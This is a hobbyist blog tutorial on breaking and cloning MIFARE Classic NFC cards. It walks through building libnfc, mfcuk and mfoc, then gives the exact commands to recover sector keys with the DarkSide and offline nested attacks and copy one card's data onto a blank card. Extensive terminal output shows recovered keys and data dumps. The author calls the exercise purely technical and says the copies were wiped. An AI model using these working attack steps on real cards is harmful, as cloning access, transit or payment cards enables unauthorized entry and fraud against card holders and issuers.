NFC Experiments

It should be stressed here that none of my personal cards used here were abused, mistreated, cloned or otherwise tampered with in any way. This exercise had no malicious intent and was carried out as purely a technical exercise.

Recently I have been playing with NFC and RFID. Most of the literature for hacking and experimenting with these cards seem to suggest 3 or 4 different readers, and of these, the ACS ACR122. The version I use here is the ACR122U-A2.

There are 3 key parts:

  • libnfc – Public platform independent Near Field Communication (NFC) library
  • mfcuk – MiFare Classic Universal toolKit
  • mfoc – Mifare Classic Offline Cracker

The last two, ‘mfcuk and mfoc, are used for getting the keys which enable you to access the data. The first, libnfc, provides a library upon which the others are built. In my very limited experience with these tools, they work very well. I have been able to clone several cards across all sectors without initial knowledge of the keys. The only thing I couldn’t manage to do (yet) is write the UID (the card’s ID number) which resides in block 0 sector 0. This is usually set by the manufacturer, but on some cheap Chinese cards it can be over-written by modifying the libnfc library. I’ve not been able to make this work, but I think I have genuine NXP cards which could explain things.

Preliminaries

Before you get started, you will need to install the following packages, which are used to build the programs below.

sudo apt-get install autoconf libtool libpcsclite-dev libusb-dev

I also work from a subfolder inside my home directory. Make a folder inside your home, such as nfc and change into it.

mkdir ~/nfc
cd ~/nfc

Once you’re ready, let’s crack on!

libnfc

Download the libnfc source code from the project website. The download link is here: https://code.google.com/p/libnfc/downloads/list. The latest version at the time of writing was libnfc 1.7.0 Release Candidate #7.

wget https://libnfc.googlecode.com/files/libnfc-1.7.0-rc7.tar.gz

Once downloaded, you need to extract the source

tar xvf libnfc-1.7.0-rc7.tar.gz

Then move into the source directory

cd libnfc-1.7.0-rc7/

Next we need to build the library.

autoreconf -vis
./configure
make
sudo make install
sudo ldconfig

Now connect the programmer if it isn’t already and place a card on the reader. Running

sudo nfc-list

will, if you’ve been successful, list the NFC card you’ve placed on the reader. Here’s what I get for a random card:

george@netbook-linux ~/nfc/libnfc-1.7.0-rc7 $ sudo nfc-list
nfc-list uses libnfc 1.7.0-rc7
NFC device: ACS / ACR122U PICC Interface opened
1 ISO14443A passive target(s) found:
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
UID (NFCID1): 3e d1 11 f3
SAK (SEL_RES): 08

mfcuk

Toolkit containing samples and various tools based on and around libnfc and crapto1, with emphasis on Mifare Classic NXP/Philips RFID cards. Used for mifare classic weakness demonstration/exploitation, to demonstrate use of libnfc (and ACR122 readers) and to demonstrate use of Crapto1 implementation to confirm internal workings and to verify theoretical/practical weaknesses/attacks.

Download the mfcuk source code from the project website. The download link is here: https://code.google.com/p/mfcuk/downloads/list. The latest version at the time of writing was MFCUK 0.3.7.

wget https://mfcuk.googlecode.com/files/mfcuk-0.3.7.tar.gz

Exact the tar file

tar xvf mfcuk-0.3.7.tar.gz

then move into the directory

cd mfcuk-0.3.7/

You’ll need to modify the source code very slightly for mfcuk as there is a bug.

nano src/nfc-utils.c

Find the following line inside the print_nfc_target(const nfc_target nt, bool verbose) function

str_nfc_target(&s, nt, verbose);

and change it to

str_nfc_target(&s, &nt, verbose);

From here, we need to compile the program.

autoreconf
automake
autoconf
./configure
make

Hopefully it’s compiled okay. The resulting binary is found at src/mfcuk. Placing a random card on the reader, I can find key A for sector 0 with the following command. Check the help (-h) and the man page for what these options mean. You only need to crack one key, as then you can use mfoc to get the other keys more efficiently.

sudo src/mfcuk -C -R 0:A -v 2

The process can take a little while, but should eventually return the key for the requested sector. My output is as follows:

george@netbook-linux ~/nfc/mfcuk-0.3.7 $ sudo src/mfcuk -C -R 15 -v 2
mfcuk – 0.3.7
Mifare Classic DarkSide Key Recovery Tool – 0.3
by Andrei Costin, zveriu@gmail.com, http://andreicostin.com

WARN: cannot open template file ‘./data/tmpls_fingerprints/mfcuk_tmpl_skgt.mfd’
WARN: cannot open template file ‘./data/tmpls_fingerprints/mfcuk_tmpl_ratb.mfd’
WARN: cannot open template file ‘./data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd’

INFO: Connected to NFC reader: ACS / ACR122U PICC Interface

INITIAL ACTIONS MATRIX – UID 8e 46 58 fa – TYPE 0x08 (MC1K)
———————————————————————
Sector | Key A |ACTS | RESL | Key B |ACTS | RESL
———————————————————————
00 | 000000000000 | . . | . . | 000000000000 | . . | . .
01 | 000000000000 | . . | . . | 000000000000 | . . | . .
02 | 000000000000 | . . | . . | 000000000000 | . . | . .
03 | 000000000000 | . . | . . | 000000000000 | . . | . .
04 | 000000000000 | . . | . . | 000000000000 | . . | . .
05 | 000000000000 | . . | . . | 000000000000 | . . | . .
06 | 000000000000 | . . | . . | 000000000000 | . . | . .
07 | 000000000000 | . . | . . | 000000000000 | . . | . .
08 | 000000000000 | . . | . . | 000000000000 | . . | . .
09 | 000000000000 | . . | . . | 000000000000 | . . | . .
10 | 000000000000 | . . | . . | 000000000000 | . . | . .
11 | 000000000000 | . . | . . | 000000000000 | . . | . .
12 | 000000000000 | . . | . . | 000000000000 | . . | . .
13 | 000000000000 | . . | . . | 000000000000 | . . | . .
14 | 000000000000 | . . | . . | 000000000000 | . . | . .
15 | 000000000000 | . R | . . | 000000000000 | . R | . .

VERIFY:
Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f

ACTION RESULTS MATRIX AFTER VERIFY – UID 8e 46 58 fa – TYPE 0x08 (MC1K)
———————————————————————
Sector | Key A |ACTS | RESL | Key B |ACTS | RESL
———————————————————————
00 | 000000000000 | . . | . . | 000000000000 | . . | . .
01 | 000000000000 | . . | . . | 000000000000 | . . | . .
02 | 000000000000 | . . | . . | 000000000000 | . . | . .
03 | 000000000000 | . . | . . | 000000000000 | . . | . .
04 | 000000000000 | . . | . . | 000000000000 | . . | . .
05 | 000000000000 | . . | . . | 000000000000 | . . | . .
06 | 000000000000 | . . | . . | 000000000000 | . . | . .
07 | 000000000000 | . . | . . | 000000000000 | . . | . .
08 | 000000000000 | . . | . . | 000000000000 | . . | . .
09 | 000000000000 | . . | . . | 000000000000 | . . | . .
10 | 000000000000 | . . | . . | 000000000000 | . . | . .
11 | 000000000000 | . . | . . | 000000000000 | . . | . .
12 | 000000000000 | . . | . . | 000000000000 | . . | . .
13 | 000000000000 | . . | . . | 000000000000 | . . | . .
14 | 000000000000 | . . | . . | 000000000000 | . . | . .
15 | 000000000000 | . R | . . | 000000000000 | . R | . .

RECOVER: 0 1 2 3 4 5 6 7 8 9 a b c d e f
INFO: block 63 recovered KEY: af91d7429a9d
INFO: block 63 recovered KEY: ba9a3887066f

ACTION RESULTS MATRIX AFTER RECOVER – UID 8e 46 58 fa – TYPE 0x08 (MC1K)
———————————————————————
Sector | Key A |ACTS | RESL | Key B |ACTS | RESL
———————————————————————
00 | 000000000000 | . . | . . | 000000000000 | . . | . .
01 | 000000000000 | . . | . . | 000000000000 | . . | . .
02 | 000000000000 | . . | . . | 000000000000 | . . | . .
03 | 000000000000 | . . | . . | 000000000000 | . . | . .
04 | 000000000000 | . . | . . | 000000000000 | . . | . .
05 | 000000000000 | . . | . . | 000000000000 | . . | . .
06 | 000000000000 | . . | . . | 000000000000 | . . | . .
07 | 000000000000 | . . | . . | 000000000000 | . . | . .
08 | 000000000000 | . . | . . | 000000000000 | . . | . .
09 | 000000000000 | . . | . . | 000000000000 | . . | . .
10 | 000000000000 | . . | . . | 000000000000 | . . | . .
11 | 000000000000 | . . | . . | 000000000000 | . . | . .
12 | 000000000000 | . . | . . | 000000000000 | . . | . .
13 | 000000000000 | . . | . . | 000000000000 | . . | . .
14 | 000000000000 | . . | . . | 000000000000 | . . | . .
15 | af91d7429a9d | . R | . R | ba9a3887066f | . R | . R

Notice that the keys are shown for sector 15 as requested when starting. This process took around 10 minutes. Key A = af91d7429a9d Key B = ba9a3887066f. We can then supply these keys to mfoc to crack the entire set, see below.

mfoc

MFOC is an open source implementation of “offline nested” attack by Nethemba. This program allow to recover authentication keys from MIFARE Classic card.

The procedure is the same as with mfcuk. Download the source code from the project website. The download link is here: https://code.google.com/p/mfoc/downloads/list. The latest version at the time of writing was MFOC 0.10.5.

wget https://mfoc.googlecode.com/files/mfoc-0.10.5.tar.gz

Extract the tar file.

tar xvf mfoc-0.10.5.tar.gz

then move into the directory

cd mfoc-0.10.5/

You’ll need to modify the source code very slightly for mfcuk as there is a bug.

nano src/nfc-utils.c

Find the following line inside the print_nfc_target(const nfc_target nt, bool verbose) function

str_nfc_target(&s, nt, verbose);

and change it to

str_nfc_target(&s, &nt, verbose);

From here, we need to compile the program.

autoreconf -vis
automake
autoconf
./configure
make

Hopefully again, the final binary will be found in the src/ folder, and can be run with the following command showing the help options.

sudo src/mfoc -h

You should see something like below. The time this takes will depend on how many known keys there are. The card below was brand new, and so all of the keys were default, which meant the process took just a few seconds. You can see from the data dump that the card is empty.

george@netbook-linux ~/nfc/mfoc-0.10.5 $ sudo src/mfoc -O test.dmp
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
* UID size: single
* bit frame anticollision supported
UID (NFCID1): 3e 0c 5a fa
SAK (SEL_RES): 08
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092

Fingerprinting based on MIFARE type Identification Procedure:
* MIFARE Classic 1K
* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
* SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:
[Key: ffffffffffff] -> [xxxxxxxxxxxxxxxx]
[Key: a0a1a2a3a4a5] -> [xxxxxxxxxxxxxxxx]
[Key: d3f7d3f7d3f7] -> [xxxxxxxxxxxxxxxx]
[Key: 000000000000] -> [xxxxxxxxxxxxxxxx]
[Key: b0b1b2b3b4b5] -> [xxxxxxxxxxxxxxxx]
[Key: 4d3a99c351dd] -> [xxxxxxxxxxxxxxxx]
[Key: 1a982c7e459a] -> [xxxxxxxxxxxxxxxx]
[Key: aabbccddeeff] -> [xxxxxxxxxxxxxxxx]
[Key: 714c5c886e97] -> [xxxxxxxxxxxxxxxx]
[Key: 587ee5f9350f] -> [xxxxxxxxxxxxxxxx]
[Key: a0478cc39091] -> [xxxxxxxxxxxxxxxx]
[Key: 533cb6c723f6] -> [xxxxxxxxxxxxxxxx]
[Key: 8fd0a4f256e9] -> [xxxxxxxxxxxxxxxx]

Sector 00 – FOUND_KEY [A] Sector 00 – FOUND_KEY [B]
Sector 01 – FOUND_KEY [A] Sector 01 – FOUND_KEY [B]
Sector 02 – FOUND_KEY [A] Sector 02 – FOUND_KEY [B]
Sector 03 – FOUND_KEY [A] Sector 03 – FOUND_KEY [B]
Sector 04 – FOUND_KEY [A] Sector 04 – FOUND_KEY [B]
Sector 05 – FOUND_KEY [A] Sector 05 – FOUND_KEY [B]
Sector 06 – FOUND_KEY [A] Sector 06 – FOUND_KEY [B]
Sector 07 – FOUND_KEY [A] Sector 07 – FOUND_KEY [B]
Sector 08 – FOUND_KEY [A] Sector 08 – FOUND_KEY [B]
Sector 09 – FOUND_KEY [A] Sector 09 – FOUND_KEY [B]
Sector 10 – FOUND_KEY [A] Sector 10 – FOUND_KEY [B]
Sector 11 – FOUND_KEY [A] Sector 11 – FOUND_KEY [B]
Sector 12 – FOUND_KEY [A] Sector 12 – FOUND_KEY [B]
Sector 13 – FOUND_KEY [A] Sector 13 – FOUND_KEY [B]
Sector 14 – FOUND_KEY [A] Sector 14 – FOUND_KEY [B]
Sector 15 – FOUND_KEY [A] Sector 15 – FOUND_KEY [B]

We have all sectors encrypted with the default keys..

Auth with all sectors succeeded, dumping keys to a file!
Block 63, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 bc ff ff ff ff ff ff
Block 62, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 61, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 60, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 59, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 58, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 57, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 56, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 55, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 54, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 53, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 52, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 51, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 50, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 49, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 48, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 47, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 46, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 45, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 44, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 43, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 42, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 41, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 40, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 39, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 38, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 37, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 36, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 35, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 34, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 33, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 32, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 31, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 30, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 29, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 28, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 27, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 26, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 25, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 24, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 23, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 22, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 21, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 20, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 19, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 18, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 17, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 16, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 15, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 14, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 13, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 12, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 11, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 10, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 09, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 08, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 07, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 06, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 05, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 04, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 03, type A, key ffffffffffff :00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff
Block 02, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 01, type A, key ffffffffffff :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 00, type A, key ffffffffffff :3e 0c 5a fa 92 88 04 00 46 8f 35 13 59 50 23 10

Cloning A Card

This card assumes that you have a destination card of the same type as the source. This method is based on that described here.

First we must dump the keys from the destination card, so we can write to it. I assume that the card is new, and so the default keys will be easily found. Put your destination card on the reader, and run…

sudo src/mfoc -P 500 -O blank-chinese.dmp

You’ll see something like the above. You then need to dump the source card keys. Here it’s probably safe to assume that at least one of the sectors has a default key, and so you can dive straight in and use the offline nested hack. If this is not true, you can supply additional keys found with mfcuk using the -k option – see the man page. Using the additional keys found above (in the mfcuk example). You’ll need to repeat that step with your source card to get the keys. The results will look similar with a different data dump to that of above; it’s obviously not included here for security reasons.

sudo src/mfoc -k af91d7429a9d -k ba9a3887066f -k 160a91d29a9d -k b7bf0c13066f -P 500 -O cardtocopy.dmp

Once complete, you can copy the card using the nfc-mfclassic program. You can also replace the b with an a to use the A keys instead.

sudo nfc-mfclassic w b cardtocopy.dmp blank-chinese.dmp

You’ll see a result something like the following:

george@netbook-linux ~/nfc/mfoc-0.10.5 $ sudo nfc-mfclassic w a cardtocopy.dmp blank-chinese.dmp
NFC reader: ACS / ACR122U PICC Interface opened
Found MIFARE Classic card:
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
UID (NFCID1): 3e 0c 5a fa
SAK (SEL_RES): 08
Guessing size: seems to be a 1024-byte card
Writing 64 blocks |………………………………………………………|
Done, 63 of 64 blocks written.

If you have the correct card type, you can replace the w with a W to flash the UID too, that’s the missing block. I always receive a failure when trying this.

So that’s about it. The basics of cloning a MIFARE Classic NFC RFID card. I have written a small script, NFC_Experimentation.sh.gz that will download and compile the tools on Ubuntu. It has no error checking, so use at your own risk.

Again, here I would like to stressed that none of the above cards were abused. This exercise had no malicious intent and was carried out as purely a technical exercise. All duplicate cards were blanked at the end of this experiment.

An online scrapbook full of half-baked projects and silly ideas.